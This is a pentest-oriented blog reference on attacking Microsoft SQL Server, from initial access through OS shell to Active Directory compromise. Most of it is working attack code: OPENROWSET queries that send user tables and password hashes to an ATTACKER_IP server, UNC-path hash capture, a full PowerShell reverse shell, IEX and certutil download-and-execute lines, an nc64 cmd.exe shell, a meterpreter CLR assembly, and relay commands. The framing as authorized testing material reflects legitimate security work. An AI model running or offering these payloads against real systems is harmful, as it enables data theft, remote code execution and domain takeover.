2026 Edition
MSSQL Exploitation: OPENROWSET, xp_cmdshell, and Database Attack Primitives
A penetration tester's complete reference to MSSQL attack surface — from SQL injection to OS shell, data exfiltration to domain compromise.
Microsoft SQL Server remains one of the most common database platforms in enterprise environments, and it is consistently one of the most rewarding targets in internal penetration tests. MSSQL offers a rich set of built-in functionality that, when misconfigured or when accessed through SQL injection, gives an attacker capabilities ranging from data exfiltration to full operating system command execution to Active Directory domain compromise.
This post covers the core attack primitives every pentester needs to know: OPENROWSET for data exfiltration and file access, xp_cmdshell for OS command execution, hash capture techniques, privilege escalation within SQL Server, and the relationship between MSSQL and Active Directory that makes database compromise a frequent path to domain admin.
Who this is for: Penetration testers, OSCP/OSCP+ candidates, and security engineers who encounter MSSQL during internal engagements. Assumes familiarity with SQL injection fundamentals and basic Windows/AD concepts. All techniques demonstrated here require authorized access — this is pentest documentation, not a hacking tutorial.
Initial Access
Getting Into MSSQL
Before exploiting MSSQL internals, you need access. The most common paths in during a penetration test:
| Access Vector | Details |
| SQL Injection |
Web application or API vulnerability that passes attacker-controlled input to MSSQL queries. The classic path. Stacked queries (; statement separator) are supported in MSSQL, which massively expands what you can do compared to databases that only allow single statements. |
| Default / Weak Credentials |
SA account with blank or weak password, application service accounts with predictable credentials. Spray with CrackMapExec: crackmapexec mssql target -u sa -p passwords.txt |
| Credential Reuse |
Credentials captured elsewhere (Responder, LSASS dump, config files) that work against MSSQL. Try captured domain creds with Windows authentication. |
| Connection String Leaks |
Hardcoded credentials in web.config, appsettings.json, environment variables, source code repositories, or SharePoint/wiki pages. |
| SPN Discovery |
MSSQL instances register SPNs in Active Directory. Enumerate with GetUserSPNs.py or PowerUpSQL's Get-SQLInstanceDomain — gives you instance locations and potential Kerberoasting targets. |
Discovery and Enumeration
# Discover MSSQL instances on the network
# UDP broadcast on port 1434 (SQL Browser Service)
nmap -sU -p 1434 --script ms-sql-info target_range
# Nmap scripts for MSSQL
nmap -p 1433 --script ms-sql-info,ms-sql-config,ms-sql-empty-password target_ip
# CrackMapExec enumeration
crackmapexec mssql target_range
crackmapexec mssql target_ip -u user -p password --local-auth
# PowerUpSQL — AD-integrated discovery (from domain-joined host)
Import-Module PowerUpSQL
Get-SQLInstanceDomain # Find all SQL instances via SPN enumeration
Get-SQLInstanceBroadcast # UDP broadcast discovery
Get-SQLServerInfo -Instance "target_ip"
# Impacket
mssqlclient.py domain/user:password@target_ip -windows-auth
mssqlclient.py sa:password@target_ip
First Steps After Access
Once connected, enumerate your privileges and the environment before doing anything aggressive:
-- Who are you?
SELECT SYSTEM_USER; -- Login name (SQL or Windows)
SELECT USER_NAME(); -- Database user name
SELECT @@SERVERNAME; -- Server name
SELECT @@VERSION; -- Full version string
SELECT DB_NAME(); -- Current database
-- Are you sysadmin?
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = yes
-- All logins and their roles
SELECT sp.name AS login, sp.type_desc, sp.is_disabled,
sl.sysadmin, sl.securityadmin, sl.serveradmin
FROM sys.server_principals sp
JOIN sys.syslogins sl ON sp.sid = sl.sid
WHERE sp.type IN ('S','U','G');
-- List databases
SELECT name, state_desc FROM sys.databases;
-- List user tables in current database
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE';
-- Check interesting server configurations
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell'; -- OS command execution
EXEC sp_configure 'Ad Hoc Distributed Queries'; -- OPENROWSET
EXEC sp_configure 'Ole Automation Procedures'; -- sp_OACreate
EXEC sp_configure 'clr enabled'; -- CLR assemblies
-- Check linked servers (lateral movement opportunities)
EXEC sp_linkedservers;
SELECT * FROM sys.servers;
Data Exfiltration
OPENROWSET — Remote Data Access and Exfiltration
OPENROWSET is a T-SQL function that performs a one-time, ad-hoc connection to a remote OLE DB data source — another SQL Server, an Access database, an Excel file, or any OLE DB-compatible source. It appears in SELECT, INSERT, UPDATE, and DELETE statements without requiring a persistent linked server configuration. It also supports a BULK provider for reading local files directly.
From a pentester's perspective, OPENROWSET gives you three capabilities: outbound data exfiltration to an attacker-controlled database, local file reading on the database server, and NTLM hash capture via UNC path authentication.
Prerequisites
- The
Ad Hoc Distributed Queries server option must be enabled (disabled by default since SQL Server 2005 — but always check, because DBAs re-enable it for legitimate reasons)
- The executing user needs appropriate permissions — sysadmin can do everything; non-sysadmin users need explicit
ADMINISTER BULK OPERATIONS for BULK operations
- For outbound exfiltration: TCP connectivity from the database server to your listener (default port 1433, but you can specify any port)
-- Check if Ad Hoc Distributed Queries is enabled
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries';
-- config_value = 1 means enabled
-- Enable it (requires sysadmin)
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
OPENROWSET Syntax
OPENROWSET(
'provider_name',
'provider_string', -- connection info: server, credentials
{ [catalog.][schema.]object | 'query' }
)
-- Or with BULK provider (local file read):
OPENROWSET(
BULK 'file_path',
SINGLE_CLOB | SINGLE_BLOB | SINGLE_NCLOB
| FORMATFILE = 'format_file_path'
) AS alias
The key arguments:
| Argument | What It Does |
provider_name | OLE DB provider. For MSSQL-to-MSSQL: 'SQLOLEDB' (legacy) or 'MSOLEDBSQL' (modern). For ODBC: 'MSDASQL'. |
datasource | Server address. Use Network=DBMSSOCN; prefix for TCP/IP. Append ,port after IP for non-standard ports. |
user_id / password | Credentials for the remote data source — these are credentials on your attacker-controlled server, not the target. |
provider_string | Alternative: entire connection string in one parameter. |
'query' | Pass-through query executed on the remote server. Results returned to the local context. |
BULK 'file_path' | Read a local file. SINGLE_CLOB = text, SINGLE_BLOB = binary, SINGLE_NCLOB = Unicode text. |
Technique 1: Outbound Data Exfiltration
The core attack: use OPENROWSET to push query results from the target database to a SQL Server you control. The target database initiates the outbound TCP connection — if egress filtering blocks port 1433, specify a different port.
Attacker Setup
# Run MSSQL on your attack machine via Docker
docker run -e "ACCEPT_EULA=Y" -e "MSSQL_SA_PASSWORD=Attacker!Pass123" \
-p 1433:1433 --name mssql-loot \
-d mcr.microsoft.com/mssql/server:2022-latest
# On a non-standard port (firewall evasion)
docker run -e "ACCEPT_EULA=Y" -e "MSSQL_SA_PASSWORD=Attacker!Pass123" \
-p 8443:1433 --name mssql-loot \
-d mcr.microsoft.com/mssql/server:2022-latest
# Create the loot database and receiving table
# Columns must match the data you are exfiltrating
sqlcmd -S localhost -U sa -P 'Attacker!Pass123' -Q "
CREATE DATABASE loot;
GO
USE loot;
CREATE TABLE exfil_users (username NVARCHAR(256), email NVARCHAR(256), pw_hash NVARCHAR(256));
CREATE TABLE exfil_tables (table_name NVARCHAR(256));
CREATE TABLE exfil_generic (col1 NVARCHAR(MAX));
GO
"
Exfiltration Queries (executed on target)
-- Test outbound connectivity: SELECT from your attacker server
SELECT * FROM OPENROWSET(
'SQLOLEDB',
'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123',
'SELECT 1 AS connectivity_test'
);
-- If this returns "1", you have outbound TCP to your server
-- Non-standard port (e.g., 8443)
SELECT * FROM OPENROWSET(
'SQLOLEDB',
'Network=DBMSSOCN;Address=ATTACKER_IP,8443;uid=sa;pwd=Attacker!Pass123',
'SELECT 1 AS connectivity_test'
);
-- Exfiltrate user table names
INSERT INTO OPENROWSET(
'SQLOLEDB',
'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123',
'SELECT * FROM loot.dbo.exfil_tables'
)
SELECT name FROM sysobjects WHERE xtype = 'U';
-- Exfiltrate actual application data
INSERT INTO OPENROWSET(
'SQLOLEDB',
'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123',
'SELECT * FROM loot.dbo.exfil_users'
)
SELECT TOP 500 username, email, password_hash FROM dbo.Users;
-- Exfiltrate server configuration
INSERT INTO OPENROWSET(
'SQLOLEDB',
'Network=DBMSSOCN;Address=ATTACKER_IP;uid=sa;pwd=Attacker!Pass123',
'SELECT * FROM loot.dbo.exfil_generic'
)
SELECT name + '=' + CAST(value_in_use AS NVARCHAR(50))
FROM sys.configurations
WHERE name IN ('xp_cmdshell','clr enabled','Ad Hoc Distributed Queries','Ole Automation Procedures');
Column matching is critical: The INSERT INTO OPENROWSET ... SELECT pattern requires that the columns returned by your local SELECT match the columns of the remote table in number and compatible data types. If they do not match, the query fails silently or throws a type mismatch error. Use NVARCHAR(MAX) on your loot table for maximum flexibility, and cast columns as needed.
Technique 2: Local File Read (BULK Provider)
The BULK provider reads files on the database server's filesystem — anything the SQL Server service account can access. This is how you extract configuration files, connection strings, and potentially credential material without needing OS command execution.
-- Read web.config (connection strings, API keys, encryption keys)
SELECT BulkColumn
FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS x;
-- Read appsettings.json (.NET Core / .NET 5+ applications)
SELECT BulkColumn
FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\appsettings.json', SINGLE_CLOB) AS x;
-- Read machine.config (machine-wide .NET config)
SELECT BulkColumn
FROM OPENROWSET(
BULK 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machine.config',
SINGLE_CLOB
) AS x;
-- Read hosts file (internal hostname mapping)
SELECT BulkColumn
FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS x;
-- Read SQL Server error log (may contain query fragments, paths, usernames)
SELECT BulkColumn
FROM OPENROWSET(
BULK 'C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log\ERRORLOG',
SINGLE_CLOB
) AS x;
-- Read binary files (e.g., backup copies of SAM/SYSTEM)
SELECT BulkColumn
FROM OPENROWSET(BULK 'C:\temp\SAM', SINGLE_BLOB) AS x;
-- Attempt registry hive copies (usually locked, but try backup locations)
-- C:\Windows\repair\SAM, Volume Shadow Copies, etc.
Technique 3: NTLM Hash Capture via UNC Path
This is one of the most reliable and impactful techniques. When MSSQL accesses a UNC path (\\server\share), the SQL Server service account authenticates to the remote SMB server — sending its NTLMv2 hash. You do not need OPENROWSET enabled for this; several built-in procedures trigger UNC authentication.
-- Method 1: OPENROWSET BULK with UNC path
SELECT BulkColumn
FROM OPENROWSET(BULK '\\ATTACKER_IP\share\doesnotexist.txt', SINGLE_CLOB) AS x;
-- File doesn't need to exist — authentication happens before file access
-- Method 2: xp_dirtree (works for ANY authenticated user, not just sysadmin)
EXEC xp_dirtree '\\ATTACKER_IP\share';
-- Method 3: xp_fileexist
EXEC xp_fileexist '\\ATTACKER_IP\share\file.txt';
-- Method 4: xp_subdirs
EXEC xp_subdirs '\\ATTACKER_IP\share';
-- Method 5: BACKUP DATABASE to UNC (requires appropriate permissions)
BACKUP DATABASE master TO DISK = '\\ATTACKER_IP\share\backup.bak';
Attacker-Side Capture
# Option 1: Responder (captures NTLMv2 hash)
sudo responder -I eth0 -v
# Option 2: Impacket smbserver (captures hash + can serve files)
sudo impacket-smbserver share /tmp/share -smb2support
# Option 3: Relay instead of capture (if SMB signing is not required)
sudo ntlmrelayx.py -t target_host -smb2support
# After capture, crack NTLMv2 with Hashcat
hashcat -m 5600 captured_hash.txt rockyou.txt -r rules/best64.rule
Why this matters: SQL Server service accounts are frequently domain accounts with elevated privileges — sometimes local admin on multiple servers, sometimes members of high-privilege AD groups. Capturing and cracking (or relaying) the service account hash can give you lateral movement across the entire environment. The xp_dirtree method is especially valuable because it does not require sysadmin or any special configuration — any authenticated database user can trigger it.
OS Access
xp_cmdshell — Operating System Command Execution
xp_cmdshell is the most direct path from SQL Server access to operating system compromise. It spawns a Windows command shell process, executes the specified command, and returns output as rows of text. This has been disabled by default since SQL Server 2005, but if you have sysadmin privileges, you can re-enable it with two configuration commands.
Enable and Execute
-- Check current state
EXEC sp_configure 'xp_cmdshell';
-- run_value = 0 means disabled
-- Enable (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Execute OS commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'whoami /priv';
EXEC xp_cmdshell 'hostname';
EXEC xp_cmdshell 'ipconfig /all';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'net localgroup administrators';
EXEC xp_cmdshell 'net group "Domain Admins" /domain';
EXEC xp_cmdshell 'systeminfo';
EXEC xp_cmdshell 'tasklist /v';
EXEC xp_cmdshell 'netstat -ano';
EXEC xp_cmdshell 'dir C:\inetpub\wwwroot\';
EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config';
Getting a Reverse Shell
-- PowerShell reverse shell (most common)
EXEC xp_cmdshell 'powershell -ep bypass -nop -c "$c=New-Object Net.Sockets.TCPClient(''ATTACKER_IP'',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII.GetBytes($r)),0,$r.Length)}"';
-- Download and execute (two-stage — more reliable)
EXEC xp_cmdshell 'powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString(''http://ATTACKER_IP/shell.ps1'')"';
-- Certutil file transfer (often less monitored than PowerShell downloads)
EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER_IP/nc64.exe C:\Windows\Temp\nc64.exe';
EXEC xp_cmdshell 'C:\Windows\Temp\nc64.exe ATTACKER_IP 4444 -e cmd.exe';
-- Bitsadmin file transfer (alternative)
EXEC xp_cmdshell 'bitsadmin /transfer job /download /priority high http://ATTACKER_IP/payload.exe C:\Windows\Temp\payload.exe';
-- Meterpreter via Metasploit (automated)
-- In msfconsole:
-- use exploit/windows/mssql/mssql_payload
-- set RHOSTS target_ip
-- set USERNAME sa
-- set PASSWORD password
-- run
Detection warning: Enabling xp_cmdshell generates SQL Server Audit events (specifically, sp_configure changes are logged). Most EDR solutions hook cmd.exe and powershell.exe child processes spawned by sqlservr.exe — this is a high-fidelity detection. In mature environments, expect this to trigger alerts within seconds. Consider stealthier alternatives (below) for environments with active monitoring.
Disable After Use
-- Clean up: disable xp_cmdshell when done
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;
Alternatives
Beyond xp_cmdshell: Stealthier Execution Methods
When xp_cmdshell is too noisy or too monitored, MSSQL provides several alternative code execution paths. Each has different prerequisites, detection profiles, and capabilities.
sp_OACreate — OLE Automation
Instantiate COM objects within SQL Server. The classic technique uses wscript.shell to execute OS commands without touching xp_cmdshell.
-- Enable OLE Automation (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
-- Execute a command via wscript.shell
DECLARE @shell INT;
EXEC sp_OACreate 'wscript.shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'run', NULL, 'cmd /c whoami > C:\Windows\Temp\output.txt';
-- Read the output
EXEC xp_cmdshell 'type C:\Windows\Temp\output.txt';
-- Or use OPENROWSET BULK to read it without xp_cmdshell:
SELECT BulkColumn FROM OPENROWSET(
BULK 'C:\Windows\Temp\output.txt', SINGLE_CLOB
) AS x;
CLR Assembly — Custom .NET Code Execution
Load a custom .NET assembly into SQL Server for arbitrary code execution. This is the most powerful technique — you can run anything .NET can do, including fully functional reverse shells, in-memory tooling, and C# implants.
-- Enable CLR (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
-- For SQL Server 2017+, you also need:
EXEC sp_configure 'clr strict security', 0; RECONFIGURE;
-- Or sign the assembly with a certificate
-- Create assembly from hex-encoded DLL bytes
-- (Generate with: msfvenom -p windows/x64/meterpreter/reverse_tcp
-- LHOST=ATTACKER_IP LPORT=4444 -f csharp, compile, convert to hex)
CREATE ASSEMBLY [malicious_assembly]
FROM 0x4D5A900003... -- hex bytes of your .NET DLL
WITH PERMISSION_SET = UNSAFE;
-- Create stored procedure mapped to CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @cmd NVARCHAR(4000)
AS EXTERNAL NAME [malicious_assembly].[StoredProcedures].[cmd_exec];
-- Execute
EXEC cmd_exec 'whoami';
SQL Server Agent Jobs
Create a scheduled SQL Agent job that executes an OS command. Stealthier than xp_cmdshell because the command runs under the SQL Agent service account context, and the execution is decoupled from your session.
-- Requires sysadmin or SQLAgentOperatorRole
USE msdb;
EXEC dbo.sp_add_job @job_name = N'pentest_job';
EXEC dbo.sp_add_jobstep @job_name = N'pentest_job',
@step_name = N'exec_cmd',
@subsystem = N'CmdExec',
@command = N'whoami > C:\Windows\Temp\agent_output.txt',
@retry_attempts = 0,
@retry_interval = 0;
EXEC dbo.sp_add_jobserver @job_name = N'pentest_job';
-- Execute immediately
EXEC dbo.sp_start_job @job_name = N'pentest_job';
-- Wait a moment, then read output
WAITFOR DELAY '00:00:05';
SELECT BulkColumn FROM OPENROWSET(
BULK 'C:\Windows\Temp\agent_output.txt', SINGLE_CLOB
) AS x;
-- Clean up
EXEC dbo.sp_delete_job @job_name = N'pentest_job';
Linked Server Hopping — Lateral Movement
Linked servers create persistent connections between SQL Server instances. If the target has linked servers configured (common in enterprise environments), you can execute queries — and potentially OS commands — on remote instances through the link chain.
-- Enumerate linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers WHERE is_linked = 1;
-- Execute query on linked server
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT @@SERVERNAME');
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT SYSTEM_USER');
SELECT * FROM OPENQUERY([LINKED_SERVER_NAME], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');
-- Enable xp_cmdshell on linked server (if sysadmin there)
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED_SERVER_NAME];
EXEC ('xp_cmdshell ''whoami'';') AT [LINKED_SERVER_NAME];
-- Double-hop: linked server A → linked server B
SELECT * FROM OPENQUERY([SERVER_A],
'SELECT * FROM OPENQUERY([SERVER_B], ''SELECT @@SERVERNAME'')'
);
Linked server abuse is lateral movement. In large enterprises, you can chain through 3-4 linked servers and end up on a database server in a different network segment, datacenter, or even a different domain trust — all authenticated transparently. Map linked server topology early and treat each hop as a new compromise opportunity.
Comparison: Execution Methods
| Method | Requirement | Detection Profile | Output Capture |
xp_cmdshell |
sysadmin |
High — well-monitored, sp_configure change logged |
Direct (returns rows) |
sp_OACreate |
sysadmin |
Medium — less commonly monitored than xp_cmdshell |
Indirect (write to file, read back) |
| CLR Assembly |
sysadmin |
Medium-Low — assembly registration logged but execution blends in |
Direct (custom implementation) |
| SQL Agent Job |
sysadmin or Agent role |
Low — Agent jobs are normal; decoupled execution |
Indirect (write to file) |
| Linked Servers |
Varies per link config |
Low-Medium — cross-server queries are normal traffic |
Direct (via OPENQUERY) |
xp_dirtree (hash capture) |
Any authenticated user |
Low — no configuration change needed |
N/A (captures auth, not output) |
Privilege Escalation
Escalating Within SQL Server
If you land on MSSQL as a low-privilege user and need sysadmin, there are several escalation paths:
Impersonation (EXECUTE AS)
-- Check who you can impersonate
SELECT DISTINCT grantee_principal_id, permission_name,
dp.name AS grantee_name, dp2.name AS grantor_name
FROM sys.server_permissions sp
JOIN sys.server_principals dp ON sp.grantee_principal_id = dp.principal_id
JOIN sys.server_principals dp2 ON sp.grantor_principal_id = dp2.principal_id
WHERE permission_name = 'IMPERSONATE';
-- Impersonate a login
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER; -- Should now return 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin'); -- Should return 1
-- Execute as sysadmin, then do anything
EXEC xp_cmdshell 'whoami';
-- Revert
REVERT;
Trustworthy Database Escalation
-- Check for TRUSTWORTHY databases
SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1;
-- If you are db_owner of a TRUSTWORTHY database:
-- You can create a stored procedure that executes as the database owner
-- If the database owner is sysadmin, you get sysadmin execution context
USE [trustworthy_db];
CREATE PROCEDURE sp_escalate
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'your_login', 'sysadmin';
GO
EXEC sp_escalate;
Service Account Abuse
-- If SQL Server service runs as a domain account:
-- 1. Capture its hash via xp_dirtree/UNC
-- 2. Check if it has local admin on other machines
-- 3. Use it for Kerberoasting (if it has SPNs)
-- 4. Check AD group memberships
-- Via xp_dirtree hash capture:
EXEC xp_dirtree '\\ATTACKER_IP\capture';
-- Capture hash → crack/relay → lateral movement
AD Integration
MSSQL and Active Directory
MSSQL is deeply integrated with Active Directory in most enterprise environments. This integration creates attack paths that flow bidirectionally — from AD to MSSQL and from MSSQL to AD.
Discovery via AD
# All SQL Server SPNs in the domain (reveals every instance)
GetUserSPNs.py domain/user:password -dc-ip DC_IP | grep -i mssql
# PowerUpSQL comprehensive discovery
Get-SQLInstanceDomain | Get-SQLServerInfo
# Kerberoast SQL Server service accounts
GetUserSPNs.py domain/user:password -dc-ip DC_IP -request \
-outputfile sql_tgs_hashes.txt
# Crack with hashcat -m 13100
From MSSQL to Domain Compromise
Compromise MSSQL (SQLi, weak creds, credential reuse)
│
├──► xp_dirtree → capture service account NTLMv2 hash
│ ├──► Crack hash → credential reuse across environment
│ └──► Relay hash → authenticate to other services (ntlmrelayx)
│
├──► xp_cmdshell → dump LSASS (mimikatz, procdump)
│ └──► Extract cached domain credentials → lateral movement
│
├──► Linked servers → hop to other SQL instances
│ └──► Different service accounts, different network segments
│
└──► coerce authentication → PetitPotam, PrinterBug via xp_cmdshell
└──► Relay to ADCS → domain admin certificate
Common finding: SQL Server service accounts running as domain admin, or with unconstrained delegation enabled, or with write access to Group Policy Objects. Any of these turns MSSQL compromise into immediate domain compromise. Always check the service account's AD group memberships and permissions with BloodHound after capturing or cracking the credentials.
Beyond MSSQL
Other Database Targets — Quick Reference
MSSQL is not the only database you will encounter in the field. Each platform has its own exploitation primitives:
| Database | Key Attack Vectors | Tools |
| PostgreSQL |
COPY TO/FROM PROGRAM (direct OS command execution if superuser), pg_read_file() and pg_read_binary_file() for local file read, large object abuse (lo_import/lo_export) for file write, extension loading for arbitrary code execution |
psql, SQLMap, Metasploit |
| MySQL / MariaDB |
LOAD DATA LOCAL INFILE (read client-side files via rogue MySQL server), SELECT ... INTO OUTFILE (write files — e.g., webshell to webroot), User Defined Functions (UDF) compiled shared library loading for OS command execution |
mysql client, SQLMap, Metasploit, Rogue MySQL Server |
| Oracle |
Java stored procedures for OS access, DBMS_SCHEDULER for command execution, UTL_HTTP / UTL_TCP for outbound connections, TNS listener attacks, default credentials (SYS/CHANGE_ON_INSTALL, DBSNMP/DBSNMP) |
odat (Oracle Database Attacking Tool), SQLMap, Metasploit, tnscmd10g |
| MongoDB |
NoSQL injection ($gt, $ne, $regex operators), unauthenticated access (common on legacy versions), $where JavaScript injection for server-side code execution, SSRF via $lookup |
mongosh, NoSQLMap, Nuclei templates |
| Redis |
Unauthenticated access (default configuration), CONFIG SET dir/dbfilename to write SSH authorized_keys or crontabs, module loading (MODULE LOAD) for native code execution, Lua scripting via EVAL |
redis-cli, redis-rogue-server, Metasploit |
Reference
MSSQL Exploitation Toolkit
| Tool | Purpose |
Impacket mssqlclient.py | Interactive MSSQL client — supports Windows and SQL auth, hash authentication, xp_cmdshell enable/exec, file upload/download. The go-to for manual MSSQL interaction from Linux. |
CrackMapExec / NetExec | MSSQL credential spraying, command execution, enumeration: crackmapexec mssql target -u user -p pass -x 'whoami' |
PowerUpSQL | PowerShell toolkit for MSSQL discovery, enumeration, and exploitation in AD environments. Finds instances via SPN enumeration, audits misconfigs, tests linked servers, deploys CLR assemblies. |
SQLMap | Automated SQL injection — --os-shell (interactive OS shell), --os-pwn (Meterpreter), --file-read, --file-write. Handles MSSQL stacked queries natively. |
Metasploit | auxiliary/scanner/mssql/mssql_login (credential testing), exploit/windows/mssql/mssql_payload (shell delivery), auxiliary/admin/mssql/mssql_exec (command execution), auxiliary/admin/mssql/mssql_escalate_dbowner |
HeidiSQL / Azure Data Studio | GUI clients for interactive database exploration and manual query execution when you have credentials. |
Responder | Captures NTLMv2 hashes when MSSQL authenticates to your UNC path. Essential companion to xp_dirtree / OPENROWSET UNC techniques. |
ntlmrelayx (Impacket) | Relay captured MSSQL service account authentication to other services instead of cracking — direct lateral movement. |
Originally published circa 2012 as an OPENROWSET reference. Fully rewritten and expanded — March 2026.
For the complete penetration testing framework this belongs to, see the companion post: The Essential Penetration Testing Framework — 2026 Edition.